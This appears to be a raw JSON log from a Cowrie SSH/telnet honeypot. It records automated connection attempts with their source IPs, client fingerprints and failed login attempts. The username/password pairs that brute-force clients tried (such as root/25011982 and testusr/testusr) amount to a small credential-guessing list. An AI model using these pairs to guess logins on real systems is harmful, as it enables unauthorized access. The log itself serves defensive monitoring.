{"eventid":"cowrie.session.connect","src_ip":"64.62.156.172","src_port":52742,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4441e07bf65","protocol":"ssh","message":"New connection: 64.62.156.172:52742 (159.203.135.109:22) [session: c4441e07bf65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:46.766490Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003A\\x92!\fk 6\u02e5\u000b\t.\\x99@\u000b3\\xa3.%ik\\xa6\\x80D\u0012_\\xeb\\x85c\\xb2\\xd7\\xfe\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003A\\x92!\fk 6\u02e5\u000b\t.\\x99@\u000b3\\xa3.%ik\\xa6\\x80D\u0012_\\xeb\\x85c\\xb2\\xd7\\xfe\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:46.771395Z","src_ip":"64.62.156.172","session":"c4441e07bf65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:54:46.774755Z","src_ip":"64.62.156.172","session":"c4441e07bf65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":34324,"dst_ip":"159.203.135.109","dst_port":22,"session":"50f48629a904","protocol":"ssh","message":"New connection: 217.168.240.63:34324 (159.203.135.109:22) [session: 50f48629a904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:55:03.004076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:55:03.007529Z","src_ip":"217.168.240.63","session":"50f48629a904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:55:03.138191Z","src_ip":"217.168.240.63","session":"50f48629a904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bit","password":"bit","message":"login attempt [bit/bit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:55:03.691753Z","src_ip":"217.168.240.63","session":"50f48629a904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:55:04.825147Z","src_ip":"217.168.240.63","session":"50f48629a904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34232,"dst_ip":"10.17.0.5","dst_port":22,"session":"4948772d4824","protocol":"ssh","message":"New connection: 103.82.132.16:34232 (10.17.0.5:22) [session: 4948772d4824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:55:35.759507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:55:35.764919Z","src_ip":"103.82.132.16","session":"4948772d4824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:55:36.028195Z","src_ip":"103.82.132.16","session":"4948772d4824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25011982","message":"login attempt [root/25011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:55:36.816465Z","src_ip":"103.82.132.16","session":"4948772d4824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:55:38.081531Z","src_ip":"103.82.132.16","session":"4948772d4824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52720,"dst_ip":"159.203.135.109","dst_port":23,"session":"15950ffaffe7","protocol":"telnet","message":"New connection: 172.81.62.90:52720 (159.203.135.109:23) [session: 15950ffaffe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:55:59.655147Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":54344,"dst_ip":"159.203.135.109","dst_port":22,"session":"594a73790866","protocol":"ssh","message":"New connection: 101.47.159.125:54344 (159.203.135.109:22) [session: 594a73790866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:18.366216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:18.371605Z","src_ip":"101.47.159.125","session":"594a73790866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:18.632173Z","src_ip":"101.47.159.125","session":"594a73790866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5201314..","message":"login attempt [root/5201314..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:19.691102Z","src_ip":"101.47.159.125","session":"594a73790866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46750,"dst_ip":"159.203.135.109","dst_port":23,"session":"14736dc63316","protocol":"telnet","message":"New connection: 172.81.62.90:46750 (159.203.135.109:23) [session: 14736dc63316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:19.967620Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:20.953663Z","src_ip":"101.47.159.125","session":"594a73790866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.483469009399414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:31.138483Z","src_ip":"172.81.62.90","session":"15950ffaffe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":52222,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebb2131c3b8c","protocol":"ssh","message":"New connection: 92.113.145.209:52222 (159.203.135.109:22) [session: ebb2131c3b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:35.116756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:35.121020Z","src_ip":"92.113.145.209","session":"ebb2131c3b8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:35.228115Z","src_ip":"92.113.145.209","session":"ebb2131c3b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"under","password":"under","message":"login attempt [under/under] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:35.690932Z","src_ip":"92.113.145.209","session":"ebb2131c3b8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":37546,"dst_ip":"159.203.135.109","dst_port":22,"session":"de9552269d70","protocol":"ssh","message":"New connection: 103.149.28.157:37546 (159.203.135.109:22) [session: de9552269d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:35.813268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:35.818772Z","src_ip":"103.149.28.157","session":"de9552269d70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:36.064364Z","src_ip":"103.149.28.157","session":"de9552269d70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:36.800417Z","src_ip":"92.113.145.209","session":"ebb2131c3b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kfkfkf","message":"login attempt [root/kfkfkf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:36.803653Z","src_ip":"103.149.28.157","session":"de9552269d70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:38.051093Z","src_ip":"103.149.28.157","session":"de9552269d70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":36816,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d8e138c897c","protocol":"ssh","message":"New connection: 217.168.240.63:36816 (159.203.135.109:22) [session: 1d8e138c897c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:52.577442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:52.581638Z","src_ip":"217.168.240.63","session":"1d8e138c897c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:52.710746Z","src_ip":"217.168.240.63","session":"1d8e138c897c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testusr","password":"testusr","message":"login attempt [testusr/testusr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:53.259499Z","src_ip":"217.168.240.63","session":"1d8e138c897c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43044,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff6f7d122a39","protocol":"telnet","message":"New connection: 172.81.62.90:43044 (159.203.135.109:23) [session: ff6f7d122a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:53.728584Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:54.395116Z","src_ip":"217.168.240.63","session":"1d8e138c897c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.133965492248535,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:56:55.101441Z","src_ip":"172.81.62.90","session":"14736dc63316","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":41226,"dst_ip":"159.203.135.109","dst_port":22,"session":"089fcef8dfdb","protocol":"ssh","message":"New connection: 103.153.68.219:41226 (159.203.135.109:22) [session: 089fcef8dfdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:17.063870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:17.069918Z","src_ip":"103.153.68.219","session":"089fcef8dfdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:17.314345Z","src_ip":"103.153.68.219","session":"089fcef8dfdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ujhbpjyn","message":"login attempt [root/ujhbpjyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:18.047155Z","src_ip":"103.153.68.219","session":"089fcef8dfdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:19.293304Z","src_ip":"103.153.68.219","session":"089fcef8dfdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.87102293968201,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:29.599447Z","src_ip":"172.81.62.90","session":"ff6f7d122a39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":50718,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2ce7c747e0a","protocol":"ssh","message":"New connection: 189.203.163.10:50718 (10.17.0.5:22) [session: f2ce7c747e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:57.276297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:57:57.281245Z","src_ip":"189.203.163.10","session":"f2ce7c747e0a","protocol":"ssh"}
